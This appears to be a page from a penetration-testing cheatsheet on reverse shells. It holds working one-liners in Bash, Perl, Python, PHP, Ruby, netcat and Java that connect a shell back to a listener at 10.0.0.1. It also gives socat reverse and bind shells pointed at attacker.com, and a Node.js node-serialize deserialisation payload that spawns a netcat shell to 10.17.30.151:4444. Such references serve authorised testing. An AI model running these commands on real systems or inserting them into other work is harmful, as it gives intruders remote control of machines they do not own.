> For the complete documentation index, see [llms.txt](https://gk2savage.gitbook.io/pentesting-cheatsheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gk2savage.gitbook.io/pentesting-cheatsheet/pentesting/reverse-shells.md).

# Reverse Shells

#### Bash

Some versions of [bash can send you a reverse shell](http://www.gnucitizen.org/blog/reverse-shell-with-bash/) (this was tested on Ubuntu 10.10):

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

#### PERL

Here’s a shorter, feature-free version of the [perl-reverse-shell](http://pentestmonkey.net/tools/web-shells/perl-reverse-shell):

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

There’s also an [alternative PERL revere shell here](http://www.plenz.com/reverseshell).

#### Python

This was tested under Linux / Python 2.7:

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

#### PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

If you want a .php file to upload, see the more featureful and robust [php-reverse-shell](http://pentestmonkey.net/tools/web-shells/php-reverse-shell).

#### Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

#### Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

```
nc -e /bin/sh 10.0.0.1 1234
```

If you have the wrong version of netcat installed, [Jeff Price points out here](http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498) that you might still be able to get your reverse shell back like this:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

#### Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

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## UPGRADING SHELLS <a href="#method-1-python-pty-module" id="method-1-python-pty-module"></a>

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### Socat Reverse shell&#x20;

It can send back a reverse shell to a listening attacker to open a remote network access.

* Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.

  ```
  RHOST=attacker.com
  RPORT=12345
  socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane
  ```

### Bind shell

It can bind a shell to a local port to allow remote network access.

* Run ``socat FILE:`tty`,raw,echo=0 TCP:target.com:12345`` on the attacker box to connect to the shell.

  ```
  LPORT=12345
  socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
  ```

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Node.js Reverse Shell using "node-serialize" (Insecure Deserialisation)

```
{"email":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.17.30.151 4444 >/tmp/f', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
```